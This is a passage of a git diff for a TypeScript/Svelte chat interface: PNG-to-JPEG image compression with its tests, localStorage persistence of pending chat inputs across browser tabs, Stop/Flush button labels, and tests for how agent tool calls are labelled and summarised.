+
+ const canvas = document.createElement("canvas");
+ canvas.width = target.width;
+ canvas.height = target.height;
+ const ctx = canvas.getContext("2d");
+ if (ctx === null) {
+ bitmap.close();
+ return null;
+ }
+ ctx.imageSmoothingEnabled = true;
+ ctx.imageSmoothingQuality = "high";
+ // Flatten transparency: JPEG has no alpha channel.
+ ctx.fillStyle = "#ffffff";
+ ctx.fillRect(0, 0, target.width, target.height);
+ ctx.drawImage(bitmap, 0, 0, target.width, target.height);
+ bitmap.close();
+
+ const blob = await new Promise<Blob | null>((resolve) => {
+ canvas.toBlob(resolve, "image/jpeg", JPEG_QUALITY);
+ });
+ if (blob === null) return null;
+ // Smaller-wins: keep the original when the re-encode didn't actually help.
+ if (!useConvertedImage(file.size, blob.size)) return null;
+ return { blob, mimeType: "image/jpeg" };
+ } catch {
+ // Decode/encode failure → the original image is sent untouched.
+ return null;
+ }
+};
diff --git a/src/features/chat/adapter/pending-inputs.ts b/src/features/chat/adapter/pending-inputs.ts
new file mode 100644
index 0000000..5798fdb
--- /dev/null
+++ b/src/features/chat/adapter/pending-inputs.ts
@@ -0,0 +1,49 @@
+import type { PendingInput, PendingInputStorage } from "../pending-inputs";
+
+export function createPendingInputStorage(
+ storage: Storage,
+ conversationId: string,
+): PendingInputStorage {
+ const prefix = `dispatch.pending-inputs:${conversationId}:`;
+ let known = new Map<string, string>();
+ return {
+ load() {
+ const inputs: PendingInput[] = [];
+ const loaded = new Map<string, string>();
+ for (let i = 0; i < storage.length; i++) {
+ const key = storage.key(i);
+ if (key === null || !key.startsWith(prefix)) continue;
+ const raw = storage.getItem(key);
+ if (raw === null) continue;
+ const input = JSON.parse(raw);
+ if (
+ (input?.request?.type !== "chat.send" && input?.request?.type !== "chat.queue") ||
+ input.request.conversationId !== conversationId ||
+ typeof input.request.requestId !== "string" ||
+ key !== prefix + input.request.requestId ||
+ (input.request.type === "chat.send"
+ ? typeof input.request.message !== "string"
+ : typeof input.request.text !== "string") ||
+ (input.rejection !== undefined && typeof input.rejection !== "string")
+ )
+ throw new Error("Invalid saved input");
+ inputs.push(input);
+ loaded.set(input.request.requestId, raw);
+ }
+ known = loaded;
+ return inputs;
+ },
+ save(inputs) {
+ // Per-request keys prevent another browser tab's send/receipt from overwriting ours.
+ // Quota/security failures reach the composer BEFORE it clears its staged input.
+ const next = new Map(inputs.map((input) => [input.request.requestId, JSON.stringify(input)]));
+ for (const [id, raw] of next) {
+ if (known.get(id) !== raw) storage.setItem(prefix + id, raw);
+ }
+ for (const id of known.keys()) {
+ if (!next.has(id)) storage.removeItem(prefix + id);
+ }
+ known = next;
+ },
+ };
+}
diff --git a/src/features/chat/delivery.test.ts b/src/features/chat/delivery.test.ts
new file mode 100644
index 0000000..99ad2d4
--- /dev/null
+++ b/src/features/chat/delivery.test.ts
@@ -0,0 +1,146 @@
+import { describe, expect, it, vi } from "vitest";
+import { createPendingInputStorage } from "./adapter/pending-inputs";
+import { createChatStore } from "./store.svelte";
+import {
+ createFakeCache,
+ createFakeHistorySync,
+ createFakeMetricsSync,
+ createFakeTransport,
+} from "./test-helpers";
+
+function storage(): Storage {
+ const values = new Map<string, string>();
+ return {
+ get length() {
+ return values.size;
+ },
+ getItem: (key) => values.get(key) ?? null,
+ setItem: (key, value) => {
+ values.set(key, value);
+ },
+ removeItem: (key) => {
+ values.delete(key);
+ },
+ clear: () => values.clear(),
+ key: (index) => [...values.keys()][index] ?? null,
+ };
+}
+
+function fixture(saved = storage(), metricsSync = createFakeMetricsSync().impl) {
+ const transport = createFakeTransport();
+ let id = 0;
+ const store = createChatStore({
+ conversationId: "c",
+ createRequestId: () => `request-${++id}`,
+ pendingInputStorage: createPendingInputStorage(saved, "c"),
+ transport: transport.impl,
+ historySync: createFakeHistorySync().impl,
+ metricsSync,
+ cache: createFakeCache().impl,
+ });
+ return { store, transport, saved };
+}
+
+const images = [{ url: "data:image/png;base64,AAAA", mimeType: "image/png" }];
+
+describe("input delivery", () => {
+ it.each([
+ "send",
+ "queueMessage",
+ ] as const)("saves %s input through refresh without automatically retransmitting", (method) => {
+ const f = fixture();
+ f.store[method]("keep me", images);
+ expect(f.store.pendingInputs).toHaveLength(1);
+ f.store.dispose();
+ const reloaded = fixture(f.saved);
+ expect(reloaded.store.pendingInputs).toMatchObject([{ request: { images } }]);
+ expect(JSON.stringify(reloaded.store.pendingInputs)).toContain("keep me");
+ expect(reloaded.transport.sent).toEqual([]);
+ expect(reloaded.transport.sentQueue).toEqual([]);
+ reloaded.store.dispose();
+ });
+
+ it("streamed user echoes and wrong receipts cannot discard an unconfirmed send", () => {
+ const f = fixture();
+ f.store.send("mine", images);
+ f.store.handleDelta({
+ type: "chat.delta",
+ event: { type: "user-message", conversationId: "c", turnId: "t", text: "mine" },
+ });
+ f.store.handleDelta({ type: "chat.accepted", conversationId: "other", requestId: "request-1" });
+ f.store.handleDelta({ type: "chat.accepted", conversationId: "c", requestId: "other" });
+ expect(f.store.pendingInputs).toHaveLength(1);
+ f.store.handleDelta({ type: "chat.accepted", conversationId: "c", requestId: "request-1" });
+ expect(f.store.pendingInputs).toEqual([]);
+ expect(createPendingInputStorage(f.saved, "c").load()).toEqual([]);
+ f.store.dispose();
+ });
+
+ it("retains explicitly rejected input and images for recovery until discarded", () => {
+ const f = fixture();
+ f.store.send("mine", images);
+ f.store.handleDelta({
+ type: "chat.error",
+ conversationId: "c",
+ requestId: "request-1",
+ message: "disk full",
+ });
+ const reloaded = fixture(f.saved);
+ expect(reloaded.store.pendingInputs).toMatchObject([
+ { rejection: "disk full", request: { message: "mine", images } },
+ ]);
+ reloaded.store.discardPendingInput("request-1");
+ expect(createPendingInputStorage(f.saved, "c").load()).toEqual([]);
+ f.store.dispose();
+ reloaded.store.dispose();
+ });
+
+ it.each([
+ "send",
+ "queueMessage",
+ ] as const)("does not clear or transmit %s input if saving fails", (method) => {
+ const saved = storage();
+ saved.setItem = () => {
+ throw new Error("quota exceeded");
+ };
+ const f = fixture(saved);
+ expect(() => f.store[method]("mine", images)).toThrow("quota exceeded");
+ expect(f.store.pendingInputs).toEqual([]);
+ expect(f.store.chunks).toEqual([]);
+ expect(f.transport.sent).toEqual([]);
+ expect(f.transport.sentQueue).toEqual([]);
+ f.store.dispose();
+ });
+
+ it("coalesces a reconnect burst and permits one metrics catch-up after completion", async () => {
+ let resolve!: (value: { turns: [] }) => void;
+ const first = {
+ promise: new Promise<{ turns: [] }>((done) => {
+ resolve = done;
+ }),
+ resolve: (value: { turns: [] }) => resolve(value),
+ };
+ const metricsSync = vi.fn().mockReturnValueOnce(first.promise).mockResolvedValue({ turns: [] });
+ const f = fixture(storage(), metricsSync);
+ for (let i = 0; i < 100; i++) f.store.resync();
+ expect(metricsSync).toHaveBeenCalledTimes(1);
+ first.resolve({ turns: [] });
+ await vi.waitFor(() => expect(metricsSync).toHaveBeenCalledTimes(2));
+ f.store.dispose();
+ });
+});
+
+it("concurrent browser tabs cannot overwrite each other's saved messages or receipts", () => {
+ const saved = storage();
+ const first = createPendingInputStorage(saved, "c");
+ const second = createPendingInputStorage(saved, "c");
+ first.load();
+ second.load();
+ const input = (requestId: string) => ({
+ request: { type: "chat.send" as const, conversationId: "c", requestId, message: requestId },
+ });
+ first.save([input("first")]);
+ second.save([input("second")]);
+ first.save([]);
+ expect(createPendingInputStorage(saved, "c").load()).toEqual([input("second")]);
+});
diff --git a/src/features/chat/index.ts b/src/features/chat/index.ts
index cf57cea..41cb06f 100644
--- a/src/features/chat/index.ts
+++ b/src/features/chat/index.ts
@@ -2,23 +2,50 @@ export type {
ProviderRetryView,
RenderedChunk,
RenderGroup,
- ToolBatchEntry,
+ ToolEntry,
} from "../../core/chunks";
export { groupRenderedChunks, resolveImageUrl, viewProviderRetry } from "../../core/chunks";
export type { TurnMetricsEntry } from "../../core/metrics";
-export { isVisionModel } from "./model-select";
+export { createPendingInputStorage } from "./adapter/pending-inputs";
+export type { NamedAgentLike, NamedAgentSnapshotLike } from "./model-select";
+export {
+ CLAUDE_SUBSCRIPTION_KEY,
+ isClaudeSubscriptionModel,
+ isNamedAgentSelection,
+ isNumberedOpenCode,
+ isVisionModel,
+ migrateLegacyModelName,
+ modelKeyLabel,
+ NAMED_AGENTS_PROVIDER,
+ namedAgentNames,
+ namedAgentSelectionLabel,
+ namedAgentsProviderLabel,
+ openCodeNumber,
+ providerKeysWithNamedAgents,
+} from "./model-select";
+export type { PendingInput, PendingInputStorage } from "./pending-inputs";
export type { ChatTransport, HistorySync, HistoryWindow, MetricsSync } from "./ports";
export type {
EffortOption,
ReasoningEffortSaveResult,
SaveReasoningEffort,
+ SaveThinkingSelection,
+ SelectionOption,
+ SetThinkingRequest,
+ ThinkingResponse,
+ ThinkingSaveResult,
+ ThinkingSelection,
+ ThinkingSelectionSaveResult,
} from "./reasoning-effort";
export {
DEFAULT_REASONING_EFFORT,
effectiveEffort,
+ effectiveSelection,
effortOptions,
isReasoningEffort,
+ isThinkingSelection,
REASONING_EFFORT_LEVELS,
+ selectionOptions,
} from "./reasoning-effort";
export type { ChatStore, ChatStoreDependencies } from "./store.svelte";
export { createChatStore } from "./store.svelte";
@@ -28,6 +55,7 @@ export { default as CompactionView } from "./ui/CompactionView.svelte";
export type { ComposerStatus } from "./ui/Composer.svelte";
export { default as Composer } from "./ui/Composer.svelte";
export { default as ModelSelector } from "./ui/ModelSelector.svelte";
+export { default as PendingInputs } from "./ui/PendingInputs.svelte";
export { default as ReasoningEffortSelector } from "./ui/ReasoningEffortSelector.svelte";
/** Public module manifest — aggregated by the shell's "Loaded Modules" view. */
diff --git a/src/features/chat/logic/composer.test.ts b/src/features/chat/logic/composer.test.ts
new file mode 100644
index 0000000..86e9dc4
--- /dev/null
+++ b/src/features/chat/logic/composer.test.ts
@@ -0,0 +1,20 @@
+import { describe, expect, it } from "vitest";
+import { stopButtonLabels } from "./composer";
+
+describe("stopButtonLabels", () => {
+ it.each([undefined, 0])("preserves plain Stop with queued count %s", (count) => {
+ expect(stopButtonLabels(count)).toEqual({
+ text: "Stop",
+ ariaLabel: "Stop generation",
+ title: undefined,
+ });
+ });
+
+ it.each([1, 2])("labels the queued Stop action Flush with queued count %s", (count) => {
+ expect(stopButtonLabels(count)).toEqual({
+ text: "Flush",
+ ariaLabel: "Flush",
+ title: "Stop the current response and start the queued message now",
+ });
+ });
+});
diff --git a/src/features/chat/logic/composer.ts b/src/features/chat/logic/composer.ts
new file mode 100644
index 0000000..e56a007
--- /dev/null
+++ b/src/features/chat/logic/composer.ts
@@ -0,0 +1,11 @@
+/** Stop still uses the same action; the backend carries queued input into a new turn. */
+export function stopButtonLabels(queuedMessageCount: number | undefined) {
+ if (queuedMessageCount !== undefined && queuedMessageCount >= 1) {
+ return {
+ text: "Flush",
+ ariaLabel: "Flush",
+ title: "Stop the current response and start the queued message now",
+ };
+ }
+ return { text: "Stop", ariaLabel: "Stop generation", title: undefined };
+}
diff --git a/src/features/chat/logic/image-compress.test.ts b/src/features/chat/logic/image-compress.test.ts
new file mode 100644
index 0000000..88726bf
--- /dev/null
+++ b/src/features/chat/logic/image-compress.test.ts
@@ -0,0 +1,76 @@
+import { describe, expect, it } from "vitest";
+import {
+ computeResizedDimensions,
+ MAX_IMAGE_EDGE_PX,
+ shouldConvertImage,
+ useConvertedImage,
+} from "./image-compress";
+
+describe("shouldConvertImage", () => {
+ it("converts lossless sources (PNG, BMP)", () => {
+ expect(shouldConvertImage("image/png")).toBe(true);
+ expect(shouldConvertImage("image/bmp")).toBe(true);
+ });
+
+ it("skips already-lossy and animated formats", () => {
+ expect(shouldConvertImage("image/jpeg")).toBe(false);
+ expect(shouldConvertImage("image/webp")).toBe(false);
+ expect(shouldConvertImage("image/gif")).toBe(false);
+ });
+
+ it("leaves unknown or absent MIME types alone", () => {
+ expect(shouldConvertImage(undefined)).toBe(false);
+ expect(shouldConvertImage("")).toBe(false);
+ expect(shouldConvertImage("image/tiff")).toBe(false);
+ expect(shouldConvertImage("image/svg+xml")).toBe(false);
+ });
+});
+
+describe("computeResizedDimensions", () => {
+ it("never upscales a source already within the cap", () => {
+ expect(computeResizedDimensions(100, 50)).toEqual({ width: 100, height: 50 });
+ expect(computeResizedDimensions(2048, 1024)).toEqual({ width: 2048, height: 1024 });
+ expect(computeResizedDimensions(640, 640)).toEqual({ width: 640, height: 640 });
+ });
+
+ it("caps the longest edge at 2048", () => {
+ expect(computeResizedDimensions(4096, 2048)).toEqual({ width: 2048, height: 1024 });
+ expect(computeResizedDimensions(8192, 4096)).toEqual({ width: 2048, height: 1024 });
+ });
+
+ it("caps the longest edge regardless of orientation (portrait)", () => {
+ expect(computeResizedDimensions(2000, 3000)).toEqual({ width: 1365, height: 2048 });
+ });
+
+ it("preserves aspect ratio on the rescale", () => {
+ const { width, height } = computeResizedDimensions(3000, 2000);
+ expect(width).toBe(2048);
+ // 2000 * (2048/3000) = 1365.33… → 1365
+ expect(height).toBe(1365);
+ expect(width / height).toBeCloseTo(3000 / 2000, 2);
+ });
+
+ it("handles extreme aspect ratios without exceeding the cap", () => {
+ expect(computeResizedDimensions(5000, 10)).toEqual({ width: 2048, height: 4 });
+ expect(computeResizedDimensions(10, 5000)).toEqual({ width: 4, height: 2048 });
+ });
+
+ it("honors a custom cap", () => {
+ expect(computeResizedDimensions(1000, 500, 250)).toEqual({ width: 250, height: 125 });
+ });
+
+ it("uses the default 2048px cap constant", () => {
+ expect(MAX_IMAGE_EDGE_PX).toBe(2048);
+ });
+});
+
+describe("useConvertedImage", () => {
+ it("uses the conversion only when it is strictly fewer bytes", () => {
+ expect(useConvertedImage(3_000_000, 300_000)).toBe(true);
+ });
+
+ it("keeps the original when equal or larger", () => {
+ expect(useConvertedImage(300_000, 300_000)).toBe(false);
+ expect(useConvertedImage(100_000, 300_000)).toBe(false);
+ });
+});
diff --git a/src/features/chat/logic/image-compress.ts b/src/features/chat/logic/image-compress.ts
new file mode 100644
index 0000000..a9037b8
--- /dev/null
+++ b/src/features/chat/logic/image-compress.ts
@@ -0,0 +1,77 @@
+/**
+ * Pure decision logic for attach-time image compression (the `Compress`
+ * toggle on the composer's staged-image thumbnails).
+ *
+ * The pipeline (re-encode to JPEG + rescale) runs at the browser edge
+ * (`../adapter/image-encode`); this module owns every DECISION so it stays
+ * pure `input → output` and unit-testable without a DOM:
+ *
+ * - `shouldConvertImage` — which source formats get converted.
+ * - `computeResizedDimensions` — the rescale math (cap the longest edge,
+ * never upscale, preserve aspect).
+ * - `useConvertedImage` — the smaller-wins rule.
+ */
+
+/** JPEG encode quality for the canvas re-encode. */
+export const JPEG_QUALITY = 0.85;
+
+/** Longest-edge cap (px) for the rescale. Never upscale past the source. */
+export const MAX_IMAGE_EDGE_PX = 2048;
+
+/**
+ * Source formats that get converted. Only LOSSLESS sources are re-encoded:
+ * PNG (the screenshot case — multi-MB PNGs are the reason this exists) plus
+ * BMP (trivially canvas-decodable in every browser). Already-lossy formats
+ * (JPEG/WebP) and animated ones (GIF) are sent verbatim — recompressing them
+ * degrades quality and saves nothing, and re-encoding a GIF destroys its
+ * animation. TIFF is NOT listed: browsers can't natively decode it, so the
+ * canvas path would always fall back to the original anyway. An oversized
+ * JPEG stays untouched (the backend's body-budget safety net handles the
+ * extreme case).
+ */
+const CONVERTIBLE_MIME_TYPES = new Set(["image/png", "image/bmp"]);
+
+/**
+ * Whether a source MIME type is converted to JPEG at staging time.
+ * Unknown/absent MIME types are left alone (conservative — never gamble on
+ * bytes we can't classify).
+ */
+export function shouldConvertImage(mimeType: string | undefined): boolean {
+ return mimeType !== undefined && CONVERTIBLE_MIME_TYPES.has(mimeType);
+}
+
+/** Pixel dimensions of a raster image. */
+export interface Dimensions {
+ readonly width: number;
+ readonly height: number;
+}
+
+/**
+ * Target dimensions after the rescale: cap the LONGEST edge at `maxEdge`
+ * (default `MAX_IMAGE_EDGE_PX`), never upscale (a smaller source passes
+ * through unchanged), and preserve aspect ratio.
+ *
+ * Pure math — the canvas draw itself lives at the browser edge.
+ */
+export function computeResizedDimensions(
+ width: number,
+ height: number,
+ maxEdge: number = MAX_IMAGE_EDGE_PX,
+): Dimensions {
+ const longest = Math.max(width, height);
+ if (longest <= maxEdge) return { width, height };
+ const scale = maxEdge / longest;
+ // Rounding can never exceed the cap: each scaled edge is ≤ maxEdge before
+ // rounding, and the only values that round up land exactly ON the cap.
+ return { width: Math.round(width * scale), height: Math.round(height * scale) };
+}
+
+/**
+ * The smaller-wins rule: the converted JPEG is used only when it is actually
+ * FEWER bytes than the original (equal or larger → keep the original).
+ * Compared on raw byte counts (File/Blob `size`); base64 inflation affects
+ * both sides equally so the ratio is preserved.
+ */
+export function useConvertedImage(originalBytes: number, convertedBytes: number): boolean {
+ return convertedBytes < originalBytes;
+}
diff --git a/src/features/chat/logic/tool-summary.test.ts b/src/features/chat/logic/tool-summary.test.ts
new file mode 100644
index 0000000..c0caa0d
--- /dev/null
+++ b/src/features/chat/logic/tool-summary.test.ts
@@ -0,0 +1,456 @@
+import { describe, expect, it } from "vitest";
+import type { ToolEntry } from "../../../core/chunks";
+import { toolIcon, toolLabel, viewToolEntry } from "./tool-summary";
+
+function entry(
+ name: string,
+ input: unknown,
+ content: string | null = "ok",
+ isError = false,
+): ToolEntry {
+ return {
+ toolCallId: "a",
+ toolName: name,
+ call: { type: "tool-call", toolCallId: "a", toolName: name, input },
+ result:
+ content === null
+ ? null
+ : { type: "tool-result", toolCallId: "a", toolName: name, content, isError },
+ };
+}
+
+const view = (name: string, input: unknown, content: string | null = "ok", isError = false) =>
+ viewToolEntry(entry(name, input, content, isError));
+const lines = (n: number) => Array.from({ length: n }, (_, i) => `line ${i + 1}`);
+
+describe("tool labels", () => {
+ it.each([
+ ["run_shell", "Run command"],
+ ["read_file", "Read file"],
+ ["edit_file", "Edit file"],
+ ["write_file", "Write file"],
+ ["web_search", "Web search"],
+ ["lsp", "Code intelligence"],
+ ["todo_write", "Update to-dos"],
+ ["load_skill", "Load skill"],
+ ["consult_vision", "Ask vision model"],
+ ["read_image", "Read image"],
+ ["youtube_transcript", "YouTube transcript"],
+ ["summon_agent", "Summon agent"],
+ ["send_agent_message", "Message agent"],
+ ["read_agent", "Read agent reply"],
+ ["open_agent", "Open agent"],
+ ["cancel_agent_message", "Cancel agent message"],
+ ["list_agents", "List agents"],
+ ["list_agent_models", "List agent models"],
+ ])("built-in %s → %s", (name, label) => {
+ expect(toolLabel(name)).toBe(label);
+ expect(view(name, {}).label).toBe(label);
+ expect(view(name, {}).name).toBe(name);
+ });
+ it.each([
+ ["github__create_issue", "Github: Create issue"],
+ ["mcp__github__create_issue", "Github: Create issue"],
+ ["playwright__browserTakeScreenshot", "Playwright: Browser take screenshot"],
+ ["scaffold_echo", "Scaffold echo"],
+ ["fetchUrl", "Fetch url"],
+ ["some-kebab-tool", "Some kebab tool"],
+ ["toString", "To string"],
+ ])("unknown %s is humanized → %s", (name, label) => {
+ expect(toolLabel(name)).toBe(label);
+ });
+});
+
+describe("tool icons", () => {
+ const builtIns = [
+ "run_shell",
+ "read_file",
+ "edit_file",
+ "write_file",
+ "web_search",
+ "lsp",
+ "todo_write",
+ "load_skill",
+ "consult_vision",
+ "read_image",
+ "youtube_transcript",
+ "summon_agent",
+ "send_agent_message",
+ "read_agent",
+ "open_agent",
+ "cancel_agent_message",
+ "list_agents",
+ "list_agent_models",
+ ];
+ it("gives every built-in tool its own distinct icon", () => {
+ const icons = builtIns.map(toolIcon);
+ expect(icons).not.toContain("tool");
+ expect(icons).not.toContain("mcp");
+ expect(new Set(icons).size).toBe(builtIns.length);
+ expect(view("run_shell", {}).icon).toBe("terminal");
+ });
+ it.each([
+ ["github__create_issue", "mcp"],
+ ["mcp__github__create_issue", "mcp"],
+ ["scaffold_echo", "tool"],
+ ["__proto__", "tool"],
+ ["constructor", "tool"],
+ ])("%s → %s", (name, icon) => {
+ expect(toolIcon(name)).toBe(icon);
+ });
+});
+
+describe("tool summaries", () => {
+ it.each([
+ ["run_shell", { command: "bun run test\n --run" }, "bun run test --run"],
+ ["read_file", { path: "src/a.ts", offset: 5, limit: 80 }, "src/a.ts:5-84"],
+ ["read_file", { path: "src/a.ts", limit: 12 }, "src/a.ts:1-12"],
+ ["read_file", { path: "src/a.ts", offset: 10 }, "src/a.ts:10"],
+ ["read_file", { path: "src/a.ts" }, "src/a.ts"],
+ ["edit_file", { path: "src/a.ts", oldString: "a", newString: "b" }, "src/a.ts"],
+ ["write_file", { path: "src/a.ts", content: "data" }, "src/a.ts"],
+ ["web_search", { query: "svelte 5 runes", url: "ignored" }, "svelte 5 runes"],
+ ["web_search", { url: "https://example.org", mode: "scrape" }, "https://example.org"],
+ [
+ "lsp",
+ { operation: "references", path: "src/a.ts", line: 12, character: 3 },
+ "references src/a.ts:12:3",
+ ],
+ ["lsp", { operation: "diagnostics", path: "src/a.ts" }, "diagnostics src/a.ts"],
+ [
+ "todo_write",
+ { todos: [{ status: "pending" }, { status: "completed" }, null] },
+ "3 tasks · 1 completed",
+ ],
+ ["load_skill", { name: "research_methodology" }, "research_methodology"],
+ [
+ "consult_vision",
+ { question: "What is in this picture?", imageIds: [1] },
+ "What is in this picture?",
+ ],
+ ["youtube_transcript", { url: "https://youtu.be/abc" }, "https://youtu.be/abc"],
+ ["summon_agent", { title: "Review", task: "long task", agent: "Opus" }, "Review"],
+ ["summon_agent", { task: "Review the patch" }, "Review the patch"],
+ ["summon_agent", { agent: "Opus" }, "Opus"],
+ ["send_agent_message", { conversationId: "abcd", message: "Continue" }, "abcd"],
+ ["read_agent", { conversationId: "abcd" }, "abcd"],
+ ["open_agent", { conversationId: "abcd" }, "abcd"],
+ ["cancel_agent_message", { conversationId: "abcd", messageId: "m1" }, "abcd"],
+ ["list_agents", { relationship: "descendants" }, "descendants"],
+ ["list_agents", { query: "review" }, "review"],
+ ["list_agent_models", { query: "Opus" }, "Opus"],
+ ])("%s derives a meaningful call summary from %j", (name, input, expected) => {
+ expect(view(name, input).callSummary).toBe(expected);
+ });
+
+ it("formats edit call badges and old/new details without hiding multiline text", () => {
+ const input = { path: "a.ts", oldString: "a\nb\n", newString: "x\ny\nz\n" };
+ const card = view("edit_file", input);
+ expect(card.callBadges).toEqual([
+ { label: "+3", tone: "success" },
+ { label: "−2", tone: "error" },
+ ]);
+ expect(card.callDetail).toEqual({
+ kind: "edit",
+ path: "a.ts",
+ oldText: input.oldString,
+ newText: input.newString,
+ });
+ expect(view("edit_file", { path: "a", oldString: "", newString: "x" }).callBadges).toEqual([
+ { label: "+1", tone: "success" },
+ { label: "−0", tone: "error" },
+ ]);
+ expect(view("edit_file", { path: "a" }).callBadges).toEqual([]);
+ });
+ it("omits edit diffstats after failure while retaining attempted edits in call details", () => {
+ const input = { path: "src/missing.ts", oldString: "foo", newString: "bar" };
+ const card = view("edit_file", input, "Error: oldString not found", true);
+ expect(card.callBadges).toEqual([]);
+ expect(card.callDetail).toEqual({
+ kind: "edit",
+ path: input.path,
+ oldText: "foo",
+ newText: "bar",
+ });
+ expect(card.resultSummary).toBe("failed");
+ });
+ it("preserves exact shell commands in the expanded detail", () => {
+ expect(view("run_shell", { command: "ls\n pwd" }).callDetail).toEqual({
+ kind: "command",
+ text: "ls\n pwd",
+ });
+ });
+ it("shows scalar fields and pretty nested JSON", () => {
+ expect(view("mcp__foo", { path: "a.ts", count: 2, nested: { a: true } }).callDetail).toEqual({
+ kind: "fields",
+ fields: [
+ { key: "path", value: "a.ts", multiline: false },
+ { key: "count", value: "2", multiline: false },
+ { key: "nested", value: '{\n "a": true\n}', multiline: true },
+ ],
+ });
+ });
+ it("formats short scalar arrays inline, retaining quotes, escapes, nulls and empty arrays", () => {
+ expect(
+ view("mcp", {
+ labels: ["ui", "chat"],
+ scalars: [1, true, null],
+ empty: [],
+ escaped: ["a\nb"],
+ }).callDetail,
+ ).toEqual({
+ kind: "fields",
+ fields: [
+ { key: "labels", value: '["ui", "chat"]', multiline: false },
+ { key: "scalars", value: "[1, true, null]", multiline: false },
+ { key: "empty", value: "[]", multiline: false },
+ { key: "escaped", value: '["a\\nb"]', multiline: false },
+ ],
+ });
+ });
+ it("keeps long arrays and nested structures pretty-printed and complete", () => {
+ const input = { long: ["x".repeat(80)], nested: [{ a: 1 }], mixed: [1, { a: 1 }] };
+ const card = view("mcp", input);
+ if (card.callDetail.kind !== "fields") throw new Error("expected fields");
+ expect(card.callDetail.fields.map((field) => field.multiline)).toEqual([true, true, true]);
+ expect(card.callDetail.fields.map((field) => JSON.parse(field.value))).toEqual(
+ Object.values(input),
+ );
+ });
+ it.each([
+ "command",
+ "path",
+ "file_path",
+ "query",
+ "url",
+ "pattern",
+ "name",
+ "question",
+ "title",
+ "task",
+ "message",
+ "conversationId",
+ ])("generic fallback recognizes %s", (key) => {
+ expect(view("mcp__foo", { [key]: "target" }).callSummary).toBe("target");
+ });
+ it("generic fallback prefers the first meaningful argument, else readable key: value pairs", () => {
+ expect(view("mcp__foo", { command: " ", path: "a", query: "b" }).callSummary).toBe("a");
+ expect(view("mcp__foo", { a: 1, b: "x" }).callSummary).toBe("a: 1 · b: x");
+ // Only nested values → no summary rather than a JSON dump.
+ expect(view("mcp__foo", { opts: { deep: true } }).callSummary).toBe("");
+ });
+ it.each([
+ "not JSON",
+ "{bad",
+ 42,
+ true,
+ [1, "a"],
+ '"hi"',
+ ])("tolerates malformed/non-object input %j", (input) => {
+ expect(() => view("read_file", input)).not.toThrow();
+ expect(view("read_file", input).callSummary).not.toBe("");
+ expect(view("read_file", input).callDetail.kind).toBe("fields");
+ });
+ it.each([
+ null,
+ undefined,
+ {},
+ [],
+ "",
+ " ",
+ "null",
+ "{}",
+ ])("an argument-less call (%j) shows no summary and a 'no arguments' detail — never `{}`", (input) => {
+ const card = view("list_agent_models", input);
+ expect(card.callSummary).toBe("");
+ expect(card.callDetail).toEqual({ kind: "none" });
+ });
+ it.each([
+ "run_shell",
+ "read_file",
+ "edit_file",
+ "write_file",
+ "web_search",
+ "lsp",
+ "todo_write",
+ "load_skill",
+ "consult_vision",
+ "youtube_transcript",
+ "summon_agent",
+ "read_agent",
+ ])("%s falls back safely for missing arguments", (name) => {
+ for (const input of [null, undefined, {}]) {
+ expect(() => view(name, input)).not.toThrow();
+ expect(view(name, input).callSummary).toBe("");
+ expect(view(name, input).callDetail).toEqual({ kind: "none" });
+ }
+ expect(view(name, "{bad").callSummary).toBe("{bad");
+ });
+ it("parses JSON-string inputs", () => {
+ const card = view("run_shell", '{"command":"bun run test"}');
+ expect(card.callSummary).toBe("bun run test");
+ expect(card.callDetail).toEqual({ kind: "command", text: "bun run test" });
+ });
+ it("handles unexpected built-in argument types and prototype-looking tool names", () => {
+ expect(view("todo_write", { todos: "wrong" }).callSummary).toBe("todos: wrong");
+ expect(view("run_shell", { command: { nested: true } }).callDetail.kind).toBe("fields");
+ expect(view("constructor", { path: "a" }).callSummary).toBe("a");
+ expect(view("__proto__", {}).callSummary).toBe("");
+ expect(view("__proto__", {}).label).toBe("Proto");
+ expect(
+ view("mcp", JSON.parse('{"__proto__":{"command":"bad"},"path":"good"}')).callSummary,
+ ).toBe("good");
+ });
+ it("does not throw on unserializable input", () => {
+ const cyclic: Record<string, unknown> = {};
+ cyclic.self = cyclic;
+ expect(view("mcp", cyclic).callSummary).toBe("");
+ expect(view("mcp", cyclic).callDetail).toEqual({
+ kind: "fields",
+ fields: [{ key: "self", value: "[unserializable input]", multiline: false }],
+ });
+ expect(() => view("mcp", { integer: 1n })).not.toThrow();
+ });
+ it("rejects ancestor cycles but preserves shared non-cyclic tool values", () => {
+ const nested: Record<string, unknown> = { name: "nested" };
+ const root = { nested };
+ nested.parent = root;
+ expect(view("mcp", { payload: root }).callDetail).toEqual({
+ kind: "fields",
+ fields: [{ key: "payload", value: "[unserializable input]", multiline: false }],
+ });
+ const shared = { name: "shared" };
+ const payload = { first: shared, second: shared, values: [shared, shared] };
+ const detail = view("mcp", { payload }).callDetail;
+ expect(detail.kind).toBe("fields");
+ if (detail.kind !== "fields") throw new Error("Expected fields");
+ expect(detail.fields[0]?.value).toBe(JSON.stringify(payload, null, 2));
+ });
+ it("caps and whitespace-collapses header strings but retains full detail", () => {
+ const command = ` echo\n${"x".repeat(300)}`;
+ const card = view("run_shell", { command });
+ expect(card.callSummary.length).toBe(120);
+ expect(card.callSummary.endsWith("…")).toBe(true);
+ expect(card.callSummary).not.toMatch(/\n/);
+ expect(card.callDetail).toEqual({ kind: "command", text: command });
+ });
+ it("represents pending entries with no response summary/output", () => {
+ expect(view("run_shell", { command: "sleep 1" }, null)).toMatchObject({
+ status: "pending",
+ resultSummary: null,
+ output: null,
+ });
+ });
+ it("represents orphan results with unknown call details, not pending", () => {
+ const e = { ...entry("read_file", {}, "data"), call: null };
+ expect(viewToolEntry(e)).toMatchObject({
+ name: "read_file",
+ status: "ok",
+ callSummary: "Call in earlier history",
+ resultSummary: "1 line",
+ });
+ expect(viewToolEntry(e).callDetail).toEqual({
+ kind: "unavailable",
+ text: "This call is earlier in the conversation. Show earlier messages to see it.",
+ });
+ });
+});
+
+describe("tool response facts", () => {
+ it.each([
+ ["run_shell", "one\ntwo\n", false, "2 lines"],
+ ["run_shell", "done", false, "1 line"],
+ ["read_file", "1\tfile text\n", false, "1 line"],
+ ["read_file", "(empty file: a.ts)", false, "empty file"],
+ ["mcp", "", false, "no output"],
+ ["mcp", " \n\t", false, "no output"],
+ ["mcp", "a short response", false, "a short response"],
+ ["mcp", "A successful response with more than forty characters of text", false, "1 line"],
+ ["mcp", "x".repeat(200), false, "1 line"],
+ ["web_search", "a\nb\nc", false, "3 lines"],
+ ["run_shell", "", true, "failed"],
+ ["mcp", "Permission denied", true, "failed"],
